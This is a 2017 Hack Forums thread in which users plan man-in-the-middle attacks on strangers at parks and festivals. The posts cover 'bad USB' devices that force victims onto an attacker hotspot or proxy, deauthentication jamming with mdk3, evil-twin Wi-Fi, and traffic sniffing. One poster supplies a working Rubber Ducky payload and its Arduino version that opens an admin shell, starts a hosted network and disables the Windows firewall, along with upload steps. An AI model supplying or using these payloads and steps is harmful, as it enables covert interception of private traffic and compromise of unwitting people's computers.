

Forum:[Hack Forums](#)

Thread: [man in the middle attack with portable router/3g?](#)

germi89 - May 3, 2017, 1:19 pm

Is it possible to have like a portable 3g usb put in your computer and then make people using that instead of other wifi/internet connection?

Would be quite cool to go to like a park or festival with a lot of people and people like "wow, there is wifi out here :D" and they all connect to my portable internet.

germi89 - May 3, 2017, 1:26 pm

exactly. i know you can do that with mobile phones. your signal is higher than the real station so they connect to you first and you can see everything they do.

ZooXoo - May 3, 2017, 1:32 pm

I'm having a hard time understanding what you exactly mean? Are you trying to lure people into your network to get something or what's the case?

Mr. Robot - May 3, 2017, 1:33 pm

I would recommend instead just making a \$3 bad USB that connects them to your hotspot.

Step1. Host wifi hotspot from mobile device with shared 3g data

Step2. Plug USB in for 5 seconds which will automatically connect them to your hosted network

Step3. Use zANTI or a similar app to man in the middle the network traffic.

OR

Step1. Buy a VPS

Step2. Make a bad USB

Step3. Make the bad USB make all their browser traffic go through a proxy (your VPS)

Step4. Run driftnet/URLsnarf and all the other goodies on your VPS

pomwtin - May 3, 2017, 1:36 pm

(May 3, 2017 01:33 PM)Mr. Robot Wrote: [\[CITE\]](#) Step1. Buy a VPS

Step2. Make a bad USB

Step3. Make the bad USB make all their browser traffic go through a proxy (your VPS)

Step4. Run driftnet/URLsnarf and all the other goodies on your VPS^

THIS (and some other stuff) is why I had 10 of them... sadly I did not manage to retrieve 6 of them.. so now I have 4.

But it works every time :)

germi89 - May 3, 2017, 1:37 pm

(May 3, 2017 01:33 PM)Mr. Robot Wrote: [\[CITE\]](#) I would recommend instead just making a \$3 bad USB that connects them to your hotspot.

Step1. Host wifi hotspot from mobile device with shared 3g data

Step2. Plug USB in for 5 seconds which will automatically connect them to your hosted network

Step3. Use zANTI or a similar app to man in the middle the network traffic.

OR

Step1. Buy a VPS

Step2. Make a bad USB

Step3. Make the bad USB make all their browser traffic go through a proxy (your VPS)

Step4. Run driftnet/URLsnarf and all the other goodies on your VPS

sounds like a great idea.

But problem is how can a connect people thats allread connected to their wifi?

Like shut it down with a jammer and then they connect to my?

Mr. Robot - May 3, 2017, 1:40 pm

(May 3, 2017 01:37 PM)germi89 Wrote: [\[CITE\]](#) sounds like a great idea.

But problem is how can a connect people thats allread connected to their wifi?

Like shut it down with a jammer and then they connect to my?

Oh, yeah just like mdk3 and spam the network till theirs gets lost of deauth their network and make a hotspot that looks exactly like theres. They will connect to it eventually especially if the signal is stronger.

germi89 - May 3, 2017, 2:08 pm

(May 3, 2017 01:33 PM)Mr. Robot Wrote: [\[CITE\]](#) I would recommend instead just making a \$3 bad USB that connects them to your hotspot.

Step1. Host wifi hotspot from mobile device with shared 3g data

Step2. Plug USB in for 5 seconds which will automatically connect them to your hosted network

Step3. Use zANTI or a similar app to man in the middle the network traffic.

OR

Step1. Buy a VPS

Step2. Make a bad USB

Step3. Make the bad USB make all their browser traffic go through a proxy (your VPS)

Step4. Run driftnet/URLsnarf and all the other goodies on your VPS

could you help me set this up?

pomwtin - May 3, 2017, 2:17 pm

(May 3, 2017 02:08 PM)germi89 Wrote: [\[CITE\]](#) could you help me set this up?

First step would be to get a device capable of such actions... for example digispark or beetle. Of course you'd want one with typa A USB connector

germi89 - May 3, 2017, 2:20 pm

(May 3, 2017 02:17 PM)pomwtin Wrote: [\[CITE\]](#) First step would be to get a device capable of such actions... for example digispark or beetle. Of course you'd want one with typa A USB connector

<http://digistump.com/products/1>

like thaat one?

Mr. Robot - May 3, 2017, 2:34 pm

(May 3, 2017 02:20 PM)germi89 Wrote: [\[CITE\]](#) <http://digistump.com/products/1>

like thaat one?

Basic rubber duck you can use demonstration. It works like a keyboard - this is the arduino pro micro

Read this thread of mine as it might answer some questions

<https://hackforums.net/showthread.php?tid=5586389&highlight=ducky>

What you would want to do is create a payload like this (this one makes a hotspot on the machine that you would connect to with your device) and then use <http://seytonic.com/ducky/> to convert the code for the ducky

```
Code CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 100
LEFTARROW
ENTER
DELAY 200
STRING netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678
ENTER
DELAY 100
STRING netsh wlan start hostednetwork
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
STRING exit
ENTER
```

Code /*

* Generated with <3 by Dckuino.js, an open source project !

*/

```
#include "Keyboard.h"
```

```
void typeKey(int key)
```

```
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}
```

```
}
```

```
/* Init function */
```

```
void setup()
```

```
{
```

```
  // Beginning the Keyboard stream
```

```
  Keyboard.begin();
```

```
  // Wait 500ms
```

```
  delay(500);
```

```
  Keyboard.press(KEY_LEFT_CTRL);
```

```
  Keyboard.press(KEY_LEFT_ESC);
```

```
  Keyboard.releaseAll();
```

```
  delay(200);
```

```
  Keyboard.print("cmd");
```

```
  delay(200);
```

```
  typeKey(229);
```

```
  delay(100);
```

```
  Keyboard.print("a");
```

```
  delay(100);
```

```
  typeKey(KEY_LEFT_ARROW);
```

```
  typeKey(KEY_RETURN);
```

```
  delay(200);
```

```
  Keyboard.print("netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678");
```

```
  typeKey(KEY_RETURN);
```

```
  delay(100);
```

```
  Keyboard.print("netsh wlan start hostednetwork");
```

```
  typeKey(KEY_RETURN);
```

```
  delay(100);
```

```
  Keyboard.print("netsh firewall set opmode disable");
```

```
  typeKey(KEY_RETURN);
```

```
  Keyboard.print("exit");
```

```
typeKey(KEY_RETURN);

// Ending stream
Keyboard.end();
}

/* Unused endless loop */
void loop() {}
(converted code above)
```

Then paste into the arduino IDE kit program and hit upload.

germi89 - May 4, 2017, 12:02 pm

do i need to get that physically again or does it work like a keylogger that sends everything to email?